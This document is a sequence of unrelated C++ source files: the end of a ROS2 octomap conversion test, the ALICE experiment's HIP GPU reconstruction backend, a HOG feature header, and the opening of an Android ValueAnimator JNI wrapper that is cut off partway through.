rot_y, epsilon); EXPECT_NEAR(tf_trans.getRotation().z() * length, rot_z, epsilon); } TEST(conversions, poseTfToOctomap) { using octomap::poseTfToOctomap; const double x = 1.0; const double y = 2.0; const double z = 3.0; const auto tf_v = tf2::Vector3(x, y, z); const double rot_w = 1.0; const double rot_x = 2.0; const double rot_y = 3.0; const double rot_z = 4.0; const auto tf_q = tf2::Quaternion(rot_x, rot_y, rot_z, rot_w); const auto tf_trans = tf2::Transform(tf_q, tf_v); const auto octo_pose = poseTfToOctomap(tf_trans); const auto length = tf_q.length(); EXPECT_DOUBLE_EQ(octo_pose.trans().x(), x); EXPECT_DOUBLE_EQ(octo_pose.trans().y(), y); EXPECT_DOUBLE_EQ(octo_pose.trans().z(), z); EXPECT_NEAR(octo_pose.rot().u() * length, rot_w, epsilon); EXPECT_NEAR(octo_pose.rot().x() * length, rot_x, epsilon); EXPECT_NEAR(octo_pose.rot().y() * length, rot_y, epsilon); EXPECT_NEAR(octo_pose.rot().z() * length, rot_z, epsilon); } TEST(conversions, pointsOctomapToPointCloud2) { using octomap::pointsOctomapToPointCloud2; octomap::point3d_list points{{1.0, 2.0, 3.0}, {4.0, 5.0, 6.0}, {7.0, 8.0, 9.0}}; sensor_msgs::msg::PointCloud2 ros_points{}; sensor_msgs::PointCloud2Modifier modifier{ros_points}; modifier.setPointCloud2FieldsByString(1, "xyz"); pointsOctomapToPointCloud2(points, ros_points); sensor_msgs::PointCloud2Iterator<float> iter_x(ros_points, "x"); sensor_msgs::PointCloud2Iterator<float> iter_y(ros_points, "y"); sensor_msgs::PointCloud2Iterator<float> iter_z(ros_points, "z"); EXPECT_EQ(modifier.size(), 3U); EXPECT_DOUBLE_EQ(*iter_x, 1.0); EXPECT_DOUBLE_EQ(*iter_y, 2.0); EXPECT_DOUBLE_EQ(*iter_z, 3.0); ++iter_x; ++iter_y; ++iter_z; EXPECT_DOUBLE_EQ(*iter_x, 4.0); EXPECT_DOUBLE_EQ(*iter_y, 5.0); EXPECT_DOUBLE_EQ(*iter_z, 6.0); ++iter_x; ++iter_y; ++iter_z; EXPECT_DOUBLE_EQ(*iter_x, 7.0); EXPECT_DOUBLE_EQ(*iter_y, 8.0); EXPECT_DOUBLE_EQ(*iter_z, 9.0); } TEST(conversions, pointCloud2ToOctomap) { using octomap::pointCloud2ToOctomap; sensor_msgs::msg::PointCloud2 ros_points{}; sensor_msgs::PointCloud2Modifier modifier{ros_points}; modifier.setPointCloud2FieldsByString(1, "xyz"); modifier.resize(3); sensor_msgs::PointCloud2Iterator<float> iter_x(ros_points, "x"); sensor_msgs::PointCloud2Iterator<float> iter_y(ros_points, "y"); sensor_msgs::PointCloud2Iterator<float> iter_z(ros_points, "z"); int val{0}; for (size_t i = 0; i < modifier.size(); ++i, ++iter_x, ++iter_y, ++iter_z) { *iter_x = static_cast<float>(++val); *iter_y = static_cast<float>(++val); *iter_z = static_cast<float>(++val); } octomap::Pointcloud octo_points{}; pointCloud2ToOctomap(ros_points, octo_points); EXPECT_EQ(octo_points.size(), 3U); EXPECT_DOUBLE_EQ(octo_points[0].x(), 1.0); EXPECT_DOUBLE_EQ(octo_points[0].y(), 2.0); EXPECT_DOUBLE_EQ(octo_points[0].z(), 3.0); EXPECT_DOUBLE_EQ(octo_points[1].x(), 4.0); EXPECT_DOUBLE_EQ(octo_points[1].y(), 5.0); EXPECT_DOUBLE_EQ(octo_points[1].z(), 6.0); EXPECT_DOUBLE_EQ(octo_points[2].x(), 7.0); EXPECT_DOUBLE_EQ(octo_points[2].y(), 8.0); EXPECT_DOUBLE_EQ(octo_points[2].z(), 9.0); }
8,080
3,623
//**************************************************************************\ //* This file is property of and copyright by the ALICE Project *\ //* ALICE Experiment at CERN, All rights reserved. *\ //* *\ //* Primary Authors: Matthias Richter <Matthias.Richter@ift.uib.no> *\ //* for The ALICE HLT Project. *\ //* *\ //* Permission to use, copy, modify and distribute this software and its *\ //* documentation strictly for non-commercial purposes is hereby granted *\ //* without fee, provided that the above copyright notice appears in all *\ //* copies and that both the copyright notice and this permission notice *\ //* appear in the supporting documentation. The authors make no claims *\ //* about the suitability of this software for any purpose. It is *\ //* provided "as is" without express or implied warranty. *\ //************************************************************************** /// \file GPUReconstructionHIP.hip.cxx /// \author David Rohr #define GPUCA_GPUTYPE_VEGA #define GPUCA_UNROLL(CUDA, HIP) GPUCA_M_UNROLL_##HIP #include <hip/hip_runtime.h> #ifdef __CUDACC__ #define hipExtLaunchKernelGGL(...) #else #include <hip/hip_ext.h> #endif #include "GPUDef.h" // clang-format off #ifndef GPUCA_NO_CONSTANT_MEMORY #ifdef GPUCA_CONSTANT_AS_ARGUMENT #define GPUCA_CONSMEM_PTR const GPUConstantMemCopyable gGPUConstantMemBufferByValue, #define GPUCA_CONSMEM_CALL gGPUConstantMemBufferHost, #define GPUCA_CONSMEM (const_cast<GPUConstantMem&>(gGPUConstantMemBufferByValue.v)) #else #define GPUCA_CONSMEM_PTR #define GPUCA_CONSMEM_CALL #define GPUCA_CONSMEM (gGPUConstantMemBuffer.v) #endif #else #define GPUCA_CONSMEM_PTR const GPUConstantMem *gGPUConstantMemBuffer, #define GPUCA_CONSMEM_CALL me->mDeviceConstantMem, #define GPUCA_CONSMEM const_cast<GPUConstantMem&>(*gGPUConstantMemBuffer) #endif #define GPUCA_KRNL_BACKEND_CLASS GPUReconstructionHIPBackend // clang-format on #include "GPUReconstructionHIP.h" #include "GPUReconstructionHIPInternals.h" #include "GPUReconstructionIncludes.h" #ifdef GPUCA_HAS_GLOBAL_SYMBOL_CONSTANT_MEM __global__ void gGPUConstantMemBuffer_dummy(int* p) { *p = *(int*)&gGPUConstantMemBuffer; } #endif using namespace GPUCA_NAMESPACE::gpu; __global__ void dummyInitKernel(void* foo) {} #if defined(HAVE_O2HEADERS) && !defined(GPUCA_NO_ITS_TRAITS) #include "ITStrackingHIP/VertexerTraitsHIP.h" #else namespace o2 { namespace its { class VertexerTraitsHIP : public VertexerTraits { }; class TrackerTraitsHIP : public TrackerTraits { }; } // namespace its } // namespace o2 #endif class GPUDebugTiming { public: GPUDebugTiming(bool d, void** t, hipStream_t* s, GPUReconstruction::krnlSetup& x, GPUReconstructionHIPBackend* r = nullptr) : mDeviceTimers(t), mStreams(s), mXYZ(x), mRec(r), mDo(d) { if (mDo) { if (mDeviceTimers) { GPUFailedMsg(hipEventRecord((hipEvent_t)mDeviceTimers[0], mStreams[mXYZ.x.stream])); } else { mTimer.ResetStart(); } } } ~GPUDebugTiming() { if (mDo) { if (mDeviceTimers) { GPUFailedMsg(hipEventRecord((hipEvent_t)mDeviceTimers[1], mStreams[mXYZ.x.stream])); GPUFailedMsg(hipEventSynchronize((hipEvent_t)mDeviceTimers[1])); float v; GPUFailedMsg(hipEventElapsedTime(&v, (hipEvent_t)mDeviceTimers[0], (hipEvent_t)mDeviceTimers[1])); mXYZ.t = v * 1.e-3; } else { GPUFailedMsg(hipStreamSynchronize(mStreams[mXYZ.x.stream])); mXYZ.t = mTimer.GetCurrentElapsedTime(); } } } private: void** mDeviceTimers; hipStream_t* mStreams; GPUReconstruction::krnlSetup& mXYZ; GPUReconstructionHIPBackend* mRec; HighResTimer mTimer; bool mDo; }; #include "GPUReconstructionIncludesDevice.h" /* // Not using templated kernel any more, since nvidia profiler does not resolve template names template <class T, int I, typename... Args> GPUg() void runKernelHIP(GPUCA_CONSMEM_PTR int iSlice_internal, Args... args) { GPUshared() typename T::GPUSharedMemory smem; T::template Thread<I>(get_num_groups(0), get_local_size(0), get_group_id(0), get_local_id(0), smem, T::Processor(GPUCA_CONSMEM)[iSlice_internal], args...); } */ #undef GPUCA_KRNL_REG #define GPUCA_KRNL_REG(args) __launch_bounds__(GPUCA_M_STRIP(args)) #undef GPUCA_KRNL_CUSTOM #define GPUCA_KRNL_CUSTOM(args) GPUCA_M_STRIP(args) #undef GPUCA_KRNL_BACKEND_XARGS #define GPUCA_KRNL_BACKEND_XARGS hipEvent_t *start, hipEvent_t *stop, #define GPUCA_KRNL(x_class, x_attributes, x_arguments, x_forward) \ GPUCA_KRNL_PROP(x_class, x_attributes) \ GPUCA_KRNL_WRAP(GPUCA_KRNL_, x_class, x_attributes, x_arguments, x_forward) #define GPUCA_KRNL_CALL_single(x_class, x_attributes, x_arguments, x_forward) \ if (start == nullptr) { \ hipLaunchKernelGGL(HIP_KERNEL_NAME(GPUCA_M_CAT(krnl_, GPUCA_M_KRNL_NAME(x_class))), dim3(x.nBlocks), dim3(x.nThreads), 0, me->mInternals->Streams[x.stream], GPUCA_CONSMEM_CALL y.start, args...); \ } else { \ hipExtLaunchKernelGGL(HIP_KERNEL_NAME(GPUCA_M_CAT(krnl_, GPUCA_M_KRNL_NAME(x_class))), dim3(x.nBlocks), dim3(x.nThreads), 0, me->mInternals->Streams[x.stream], *start, *stop, 0, GPUCA_CONSMEM_CALL y.start, args...); \ } #define GPUCA_KRNL_CALL_multi(x_class, x_attributes, x_arguments, x_forward) \ if (start == nullptr) { \ hipLaunchKernelGGL(HIP_KERNEL_NAME(GPUCA_M_CAT3(krnl_, GPUCA_M_KRNL_NAME(x_class), _multi)), dim3(x.nBlocks), dim3(x.nThreads), 0, me->mInternals->Streams[x.stream], GPUCA_CONSMEM_CALL y.start, y.num, args...); \ } else { \ hipExtLaunchKernelGGL(HIP_KERNEL_NAME(GPUCA_M_CAT3(krnl_, GPUCA_M_KRNL_NAME(x_class), _multi)), dim3(x.nBlocks), dim3(x.nThreads), 0, me->mInternals->Streams[x.stream], *start, *stop, 0, GPUCA_CONSMEM_CALL y.start, y.num, args...); \ } #include "GPUReconstructionKernels.h" #undef GPUCA_KRNL template <> void GPUReconstructionHIPBackend::runKernelBackendInternal<GPUMemClean16, 0>(krnlSetup& _xyz, void* const& ptr, unsigned long const& size) { GPUDebugTiming timer(mDeviceProcessingSettings.debugLevel, nullptr, mInternals->Streams, _xyz, this); GPUFailedMsg(hipMemsetAsync(ptr, 0, size, mInternals->Streams[_xyz.x.stream])); } template <class T, int I, typename... Args> void GPUReconstructionHIPBackend::runKernelBackendInternal(krnlSetup& _xyz, const Args&... args) { if (mDeviceProcessingSettings.deviceTimers) { #ifdef __CUDACC__ GPUFailedMsg(hipEventRecord((hipEvent_t)mDebugEvents->DebugStart, mInternals->Streams[x.stream])); #endif backendInternal<T, I>::runKernelBackendMacro(_xyz, this, (hipEvent_t*)&mDebugEvents->DebugStart, (hipEvent_t*)&mDebugEvents->DebugStop, args...); #ifdef __CUDACC__ GPUFailedMsg(hipEventRecord((hipEvent_t)mDebugEvents->DebugStop, mInternals->Streams[x.stream])); #endif GPUFailedMsg(hipEventSynchronize((hipEvent_t)mDebugEvents->DebugStop)); float v; GPUFailedMsg(hipEventElapsedTime(&v, (hipEvent_t)mDebugEvents->DebugStart, (hipEvent_t)mDebugEvents->DebugStop)); _xyz.t = v * 1.e-3; } else { backendInternal<T, I>::runKernelBackendMacro(_xyz, this, nullptr, nullptr, args...); } } template <class T, int I, typename... Args> int GPUReconstructionHIPBackend::runKernelBackend(krnlSetup& _xyz, const Args&... args) { auto& x = _xyz.x; auto& z = _xyz.z; if (z.evList) { for (int k = 0; k < z.nEvents; k++) { GPUFailedMsg(hipStreamWaitEvent(mInternals->Streams[x.stream], ((hipEvent_t*)z.evList)[k], 0)); } } runKernelBackendInternal<T, I>(_xyz, args...); GPUFailedMsg(hipGetLastError()); if (z.ev) { GPUFailedMsg(hipEventRecord(*(hipEvent_t*)z.ev, mInternals->Streams[x.stream])); } return 0; } GPUReconstructionHIPBackend::GPUReconstructionHIPBackend(const GPUSettingsProcessing& cfg) : GPUReconstructionDeviceBase(cfg, sizeof(GPUReconstructionDeviceBase)) { if (mMaster == nullptr) { mInternals = new GPUReconstructionHIPInternals; } mProcessingSettings.deviceType = DeviceType::HIP; } GPUReconstructionHIPBackend::~GPUReconstructionHIPBackend() { Exit(); // Make sure we destroy everything (in particular the ITS tracker) before we exit if (mMaster == nullptr) { delete mInternals; } } GPUReconstruction* GPUReconstruction_Create_HIP(const GPUSettingsProcessing& cfg) { return new GPUReconstructionHIP(cfg); } void GPUReconstructionHIPBackend::GetITSTraits(std::unique_ptr<o2::its::TrackerTraits>* trackerTraits, std::unique_ptr<o2::its::VertexerTraits>* vertexerTraits) { // if (trackerTraits) { // trackerTraits->reset(new o2::its::TrackerTraitsNV); // } if (vertexerTraits) { vertexerTraits->reset(new o2::its::VertexerTraitsHIP); } } void GPUReconstructionHIPBackend::UpdateSettings() { GPUCA_GPUReconstructionUpdateDefailts(); } int GPUReconstructionHIPBackend::InitDevice_Runtime() { if (mMaster == nullptr) { hipDeviceProp_t hipDeviceProp; int count, bestDevice = -1; double bestDeviceSpeed = -1, deviceSpeed; if (GPUFailedMsgI(hipGetDeviceCount(&count))) { GPUError("Error getting HIP Device Count"); return (1); } if (mDeviceProcessingSettings.debugLevel >= 2) { GPUInfo("Available HIP devices:"); } std::vector<bool> devicesOK(count, false); for (int i = 0; i < count; i++) { if (mDeviceProcessingSettings.debugLevel >= 4) { GPUInfo("Examining device %d", i); } if (mDeviceProcessingSettings.debugLevel >= 4) { GPUInfo("Obtained current memory usage for device %d", i); } if (GPUFailedMsgI(hipGetDeviceProperties(&hipDeviceProp, i))) { continue; } if (mDeviceProcessingSettings.debugLevel >= 4) { GPUInfo("Obtained device properties for device %d", i); } int deviceOK = true; const char* deviceFailure = ""; deviceSpeed = (double)hipDeviceProp.multiProcessorCount * (double)hipDeviceProp.clockRate * (double)hipDeviceProp.warpSize * (double)hipDeviceProp.major * (double)hipDeviceProp.major; if (mDeviceProcessingSettings.debugLevel >= 2) { GPUImportant("Device %s%2d: %s (Rev: %d.%d - Mem %lld)%s %s", deviceOK ? " " : "[", i, hipDeviceProp.name, hipDeviceProp.major, hipDeviceProp.minor, (long long int)hipDeviceProp.totalGlobalMem, deviceOK ? " " : " ]", deviceOK ? "" : deviceFailure); } if (!deviceOK) { continue; } devicesOK[i] = true; if (deviceSpeed > bestDeviceSpeed) { bestDevice = i; bestDeviceSpeed = deviceSpeed; } else { if (mDeviceProcessingSettings.debugLevel >= 2 && mDeviceProcessingSettings.deviceNum < 0) { GPUInfo("Skipping: Speed %f < %f\n", deviceSpeed, bestDeviceSpeed); } } } if (bestDevice == -1) { GPUWarning("No %sHIP Device available, aborting HIP Initialisation (Required mem: %lld)", count ? "appropriate " : "", (long long int)mDeviceMemorySize); return (1); } if (mDeviceProcessingSettings.deviceNum > -1) { if (mDeviceProcessingSettings.deviceNum >= (signed)count) { GPUWarning("Requested device ID %d does not exist", mDeviceProcessingSettings.deviceNum); return (1); } else if (!devicesOK[mDeviceProcessingSettings.deviceNum]) { GPUWarning("Unsupported device requested (%d)", mDeviceProcessingSettings.deviceNum); return (1); } else { bestDevice = mDeviceProcessingSettings.deviceNum; } } mDeviceId = bestDevice; GPUFailedMsgI(hipGetDeviceProperties(&hipDeviceProp, mDeviceId)); hipDeviceProp.totalConstMem = 65536; // TODO: Remove workaround, fixes incorrectly reported HIP constant memory if (mDeviceProcessingSettings.debugLevel >= 2) { GPUInfo("Using HIP Device %s with Properties:", hipDeviceProp.name); GPUInfo("\ttotalGlobalMem = %lld", (unsigned long long int)hipDeviceProp.totalGlobalMem); GPUInfo("\tsharedMemPerBlock = %lld", (unsigned long long int)hipDeviceProp.sharedMemPerBlock); GPUInfo("\tregsPerBlock = %d", hipDeviceProp.regsPerBlock); GPUInfo("\twarpSize = %d", hipDeviceProp.warpSize); GPUInfo("\tmaxThreadsPerBlock = %d", hipDeviceProp.maxThreadsPerBlock); GPUInfo("\tmaxThreadsDim = %d %d %d", hipDeviceProp.maxThreadsDim[0], hipDeviceProp.maxThreadsDim[1], hipDeviceProp.maxThreadsDim[2]); GPUInfo("\tmaxGridSize = %d %d %d", hipDeviceProp.maxGridSize[0], hipDeviceProp.maxGridSize[1], hipDeviceProp.maxGridSize[2]); GPUInfo("\ttotalConstMem = %lld", (unsigned long long int)hipDeviceProp.totalConstMem); GPUInfo("\tmajor = %d", hipDeviceProp.major); GPUInfo("\tminor = %d", hipDeviceProp.minor); GPUInfo("\tclockRate = %d", hipDeviceProp.clockRate); GPUInfo("\tmemoryClockRate = %d", hipDeviceProp.memoryClockRate); GPUInfo("\tmultiProcessorCount = %d", hipDeviceProp.multiProcessorCount); GPUInfo(" "); } mBlockCount = hipDeviceProp.multiProcessorCount; mMaxThreads = std::max<int>(mMaxThreads, hipDeviceProp.maxThreadsPerBlock * mBlockCount); mWarpSize = 64; mDeviceName = hipDeviceProp.name; mDeviceName += " (HIP GPU)"; if (hipDeviceProp.major < 3) { GPUError("Unsupported HIP Device"); return (1); } #ifndef GPUCA_NO_CONSTANT_MEMORY if (gGPUConstantMemBufferSize > hipDeviceProp.totalConstMem) { GPUError("Insufficient constant memory available on GPU %d < %d!", (int)hipDeviceProp.totalConstMem, (int)gGPUConstantMemBufferSize); return (1); } #endif if (GPUFailedMsgI(hipSetDevice(mDeviceId))) { GPUError("Could not set HIP Device!"); return (1); } /*if (GPUFailedMsgI(hipDeviceSetLimit(hipLimitStackSize, GPUCA_GPU_STACK_SIZE))) { GPUError("Error setting HIP stack size"); GPUFailedMsgI(hipDeviceReset()); return(1); }*/ if (mDeviceMemorySize > hipDeviceProp.totalGlobalMem || GPUFailedMsgI(hipMalloc(&mDeviceMemoryBase, mDeviceMemorySize))) { GPUError("HIP Memory Allocation Error (trying %lld bytes, %lld available)", (long long int)mDeviceMemorySize, (long long int)hipDeviceProp.totalGlobalMem); GPUFailedMsgI(hipDeviceReset()); return (1); } if (GPUFailedMsgI(hipHostMalloc(&mHostMemoryBase, mHostMemorySize))) { GPUError("Error allocating Page Locked Host Memory (trying %lld bytes)", (long long int)mHostMemorySize); GPUFailedMsgI(hipDeviceReset()); return (1); } if (mDeviceProcessingSettings.debugLevel >= 1) { GPUInfo("Memory ptrs: GPU (%lld bytes): %p - Host (%lld bytes): %p", (long long int)mDeviceMemorySize, mDeviceMemoryBase, (long long int)mHostMemorySize, mHostMemoryBase); memset(mHostMemoryBase, 0, mHostMemorySize); if (GPUFailedMsgI(hipMemset(mDeviceMemoryBase, 0xDD, mDeviceMemorySize))) { GPUError("Error during HIP memset"); GPUFailedMsgI(hipDeviceReset()); return (1); } } for (int i = 0; i < mNStreams; i++) { if (GPUFailedMsgI(hipStreamCreate(&mInternals->Streams[i]))) { GPUError("Error creating HIP Stream"); GPUFailedMsgI(hipDeviceReset()); return (1); } } void* devPtrConstantMem; #ifndef GPUCA_NO_CONSTANT_MEMORY if (GPUFailedMsgI(hipGetSymbolAddress(&devPtrConstantMem, HIP_SYMBOL(gGPUConstantMemBuffer)))) { GPUError("Error getting ptr to constant memory"); GPUFailedMsgI(hipDeviceReset()); return 1; } #else if (GPUFailedMsgI(hipMalloc(&devPtrConstantMem, gGPUConstantMemBufferSize))) { GPUError("HIP Memory Allocation Error"); GPUFailedMsgI(hipDeviceReset()); return (1); } #endif mDeviceConstantMem = (GPUConstantMem*)devPtrConstantMem; hipLaunchKernelGGL(HIP_KERNEL_NAME(dummyInitKernel), dim3(mBlockCount), dim3(256), 0, 0, mDeviceMemoryBase); GPUInfo("HIP Initialisation successfull (Device %d: %s (Frequency %d, Cores %d), %lld / %lld bytes host / global memory, Stack frame %d, Constant memory %lld)", mDeviceId, hipDeviceProp.name, hipDeviceProp.clockRate, hipDeviceProp.multiProcessorCount, (long long int)mHostMemorySize, (long long int)mDeviceMemorySize, (int)GPUCA_GPU_STACK_SIZE, (long long int)gGPUConstantMemBufferSize); } else { GPUReconstructionHIPBackend* master = dynamic_cast<GPUReconstructionHIPBackend*>(mMaster); mDeviceId = master->mDeviceId; mBlockCount = master->mBlockCount; mWarpSize = master->mWarpSize; mMaxThreads = master->mMaxThreads; mDeviceName = master->mDeviceName; mDeviceConstantMem = master->mDeviceConstantMem; mInternals = master->mInternals; } for (unsigned int i = 0; i < mEvents.size(); i++) { hipEvent_t* events = (hipEvent_t*)mEvents[i].data(); for (unsigned int j = 0; j < mEvents[i].size(); j++) { if (GPUFailedMsgI(hipEventCreate(&events[j]))) { GPUError("Error creating event"); GPUFailedMsgI(hipDeviceReset()); return 1; } } } return (0); } int GPUReconstructionHIPBackend::ExitDevice_Runtime() { // Uninitialize HIP SynchronizeGPU(); for (unsigned int i = 0; i < mEvents.size(); i++) { hipEvent_t* events = (hipEvent_t*)mEvents[i].data(); for (unsigned int j = 0; j < mEvents[i].size(); j++) { GPUFailedMsgI(hipEventDestroy(events[j])); } } if (mMaster == nullptr) { GPUFailedMsgI(hipFree(mDeviceMemoryBase)); #ifdef GPUCA_NO_CONSTANT_MEMORY GPUFailedMsgI(hipFree(mDeviceConstantMem)); #endif for (int i = 0; i < mNStreams; i++) { GPUFailedMsgI(hipStreamDestroy(mInternals->Streams[i])); } GPUFailedMsgI(hipHostFree(mHostMemoryBase)); GPUInfo("HIP Uninitialized"); } mHostMemoryBase = nullptr; mDeviceMemoryBase = nullptr; /*if (GPUFailedMsgI(hipDeviceReset())) { // No longer doing this, another thread might use the GPU GPUError("Could not uninitialize GPU"); return (1); }*/ return (0); } size_t GPUReconstructionHIPBackend::GPUMemCpy(void* dst, const void* src, size_t size, int stream, int toGPU, deviceEvent* ev, deviceEvent* evList, int nEvents) { if (mDeviceProcessingSettings.debugLevel >= 3) { stream = -1; } if (stream == -1) { SynchronizeGPU(); GPUFailedMsg(hipMemcpy(dst, src, size, toGPU ? hipMemcpyHostToDevice : hipMemcpyDeviceToHost)); } else { if (evList == nullptr) { nEvents = 0; } for (int k = 0; k < nEvents; k++) { GPUFailedMsg(hipStreamWaitEvent(mInternals->Streams[stream], ((hipEvent_t*)evList)[k], 0)); } GPUFailedMsg(hipMemcpyAsync(dst, src, size, toGPU == -2 ? hipMemcpyDeviceToDevice : toGPU ? hipMemcpyHostToDevice : hipMemcpyDeviceToHost, mInternals->Streams[stream])); } if (ev) { GPUFailedMsg(hipEventRecord(*(hipEvent_t*)ev, mInternals->Streams[stream == -1 ? 0 : stream])); } return size; } size_t GPUReconstructionHIPBackend::TransferMemoryInternal(GPUMemoryResource* res, int stream, deviceEvent* ev, deviceEvent* evList, int nEvents, bool toGPU, const void* src, void* dst) { if (!(res->Type() & GPUMemoryResource::MEMORY_GPU)) { if (mDeviceProcessingSettings.debugLevel >= 4) { GPUInfo("Skipped transfer of non-GPU memory resource: %s", res->Name()); } return 0; } if (mDeviceProcessingSettings.debugLevel >= 3) { GPUInfo("Copying to %s: %s - %lld bytes", toGPU ? "GPU" : "Host", res->Name(), (long long int)res->Size()); } return GPUMemCpy(dst, src, res->Size(), stream, toGPU, ev, evList, nEvents); } size_t GPUReconstructionHIPBackend::WriteToConstantMemory(size_t offset, const void* src, size_t size, int stream, deviceEvent* ev) { #ifdef GPUCA_CONSTANT_AS_ARGUMENT memcpy(((char*)&gGPUConstantMemBufferHost) + offset, src, size); #endif #ifndef GPUCA_NO_CONSTANT_MEMORY if (stream == -1) { GPUFailedMsg(hipMemcpyToSymbol(HIP_SYMBOL(gGPUConstantMemBuffer), src, size, offset, hipMemcpyHostToDevice)); } else { GPUFailedMsg(hipMemcpyToSymbolAsync(HIP_SYMBOL(gGPUConstantMemBuffer), src, size, offset, hipMemcpyHostToDevice, mInternals->Streams[stream])); } if (ev && stream != -1) { GPUFailedMsg(hipEventRecord(*(hipEvent_t*)ev, mInternals->Streams[stream])); } #else if (stream == -1) { GPUFailedMsg(hipMemcpy(((char*)mDeviceConstantMem) + offset, src, size, hipMemcpyHostToDevice)); } else { GPUFailedMsg(hipMemcpyAsync(((char*)mDeviceConstantMem) + offset, src, size, hipMemcpyHostToDevice, mInternals->Streams[stream])); } #endif return size; } void GPUReconstructionHIPBackend::ReleaseEvent(deviceEvent* ev) {} void GPUReconstructionHIPBackend::RecordMarker(deviceEvent* ev, int stream) { GPUFailedMsg(hipEventRecord(*(hipEvent_t*)ev, mInternals->Streams[stream])); } void GPUReconstructionHIPBackend::SynchronizeGPU() { GPUFailedMsg(hipDeviceSynchronize()); } void GPUReconstructionHIPBackend::SynchronizeStream(int stream) { GPUFailedMsg(hipStreamSynchronize(mInternals->Streams[stream])); } void GPUReconstructionHIPBackend::SynchronizeEvents(deviceEvent* evList, int nEvents) { for (int i = 0; i < nEvents; i++) { GPUFailedMsg(hipEventSynchronize(((hipEvent_t*)evList)[i])); } } void GPUReconstructionHIPBackend::StreamWaitForEvents(int stream, deviceEvent* evList, int nEvents) { for (int i = 0; i < nEvents; i++) { GPUFailedMsg(hipStreamWaitEvent(mInternals->Streams[stream], ((hipEvent_t*)evList)[i], 0)); } } bool GPUReconstructionHIPBackend::IsEventDone(deviceEvent* evList, int nEvents) { for (int i = 0; i < nEvents; i++) { hipError_t retVal = hipEventSynchronize(((hipEvent_t*)evList)[i]); if (retVal == hipErrorNotReady) { return false; } GPUFailedMsg(retVal); } return (true); } int GPUReconstructionHIPBackend::GPUDebug(const char* state, int stream) { // Wait for HIP-Kernel to finish and check for HIP errors afterwards, in case of debugmode hipError_t cuErr; cuErr = hipGetLastError(); if (cuErr != hipSuccess) { GPUError("HIP Error %s while running kernel (%s) (Stream %d)", hipGetErrorString(cuErr), state, stream); return (1); } if (mDeviceProcessingSettings.debugLevel == 0) { return (0); } if (GPUFailedMsgI(hipDeviceSynchronize())) { GPUError("HIP Error while synchronizing (%s) (Stream %d)", state, stream); return (1); } if (mDeviceProcessingSettings.debugLevel >= 3) { GPUInfo("GPU Sync Done"); } return (0); } int GPUReconstructionHIPBackend::registerMemoryForGPU(const void* ptr, size_t size) { return GPUFailedMsgI(hipHostRegister((void*)ptr, size, hipHostRegisterDefault)); } int GPUReconstructionHIPBackend::unregisterMemoryForGPU(const void* ptr) { return GPUFailedMsgI(hipHostUnregister((void*)ptr)); } void* GPUReconstructionHIPBackend::getGPUPointer(void* ptr) { void* retVal = nullptr; GPUFailedMsg(hipHostGetDevicePointer(&retVal, ptr, 0)); return retVal; } void GPUReconstructionHIPBackend::PrintKernelOccupancies() { unsigned int maxBlocks, threads, suggestedBlocks; #define GPUCA_KRNL(x_class, x_attributes, x_arguments, x_forward) GPUCA_KRNL_WRAP(GPUCA_KRNL_LOAD_, x_class, x_attributes, x_arguments, x_forward) #define GPUCA_KRNL_LOAD_single(x_class, x_attributes, x_arguments, x_forward) \ GPUFailedMsg(hipOccupancyMaxPotentialBlockSize(&suggestedBlocks, &threads, GPUCA_M_CAT(krnl_, GPUCA_M_KRNL_NAME(x_class)), 0, 0)); \ GPUFailedMsg(hipOccupancyMaxActiveBlocksPerMultiprocessor(&maxBlocks, GPUCA_M_CAT(krnl_, GPUCA_M_KRNL_NAME(x_class)), threads, 0)); \ GPUInfo("Kernel: %50s Block size: %34d, Maximum active blocks: %3d, Suggested blocks: %3d", GPUCA_M_STR(GPUCA_M_CAT(krnl_, GPUCA_M_KRNL_NAME(x_class))), threads, maxBlocks, suggestedBlocks); #define GPUCA_KRNL_LOAD_multi(x_class, x_attributes, x_arguments, x_forward) \ GPUFailedMsg(hipOccupancyMaxPotentialBlockSize(&suggestedBlocks, &threads, GPUCA_M_CAT3(krnl_, GPUCA_M_KRNL_NAME(x_class), _multi), 0, 0)); \ GPUFailedMsg(hipOccupancyMaxActiveBlocksPerMultiprocessor(&maxBlocks, GPUCA_M_CAT3(krnl_, GPUCA_M_KRNL_NAME(x_class), _multi), threads, 0)); \ GPUInfo("Kernel: %50s Block size: %4d, Maximum active blocks: %3d, Suggested blocks: %3d", GPUCA_M_STR(GPUCA_M_CAT3(krnl_, GPUCA_M_KRNL_NAME(x_class), _multi)), threads, maxBlocks, suggestedBlocks); #include "GPUReconstructionKernels.h" #undef GPUCA_KRNL #undef GPUCA_KRNL_LOAD_single #undef GPUCA_KRNL_LOAD_multi }
25,850
8,885
#ifndef HOG_HPP_ #define HOG_HPP_ #include "types.h" #include <iostream> #include "consts.h" #include <string.h> #include "math.h" #define VECTOR_SIZE 3780 using namespace std; // void computeHOG(unsigned char *inputImage , unsigned char *output); void hog(int *specs,unsigned char *image0); //void hog(unsigned int *specs, // unsigned char *image0, // unsigned char *image1, // unsigned char *image2, // unsigned char *image3, // unsigned char *image4, // unsigned char *image5, // unsigned char *image6, // unsigned char *image7, // int *vector); //void hog(unsigned int *specs, // unsigned char *image0, // unsigned char *image1, // unsigned char *image2, // unsigned char *image3, // unsigned char *vector0 //// unsigned char *vector1, //// unsigned char *vector2, //// unsigned char *vector3 // ); // void computeGradient(unsigned int _windowX, unsigned int _windowY,int width,unsigned char *image,float *gradientX,float *gradientY); // void computeHistogram(float *hogDsc,float *gradientX,float *gradientY); // void normalizeHisto(float *hogDsc_in,float *hogDsc_out); void imageDownScale(unsigned char *inputImage,int imageX,int imageY,double scale); #endif /* HOG_HPP_ */
1,203
435
#include "../../JFloatArray.hpp" #include "../../JIntArray.hpp" #include "../../JArray.hpp" #include "../../JObjectArray.hpp" #include "./Animator.hpp" #include "../../JObject.hpp" #include "../../JString.hpp" #include "./ValueAnimator.hpp" namespace android::animation { // Fields jint ValueAnimator::INFINITE() { return getStaticField<jint>( "android.animation.ValueAnimator", "INFINITE" ); } jint ValueAnimator::RESTART() { return getStaticField<jint>( "android.animation.ValueAnimator", "RESTART" ); } jint ValueAnimator::REVERSE() { return getStaticField<jint>( "android.animation.ValueAnimator", "REVERSE" ); } // QJniObject forward ValueAnimator::ValueAnimator(QJniObject obj) : android::animation::Animator(obj) {} // Constructors ValueAnimator::ValueAnimator() : android::animation::Animator( "android.animation.ValueAnimator", "()V" ) {} // Methods jboolean ValueAnimator::areAnimatorsEnabled() { return callStaticMethod<jboolean>( "android.animation.ValueAnimator", "areAnimatorsEnabled", "()Z" ); } jlong 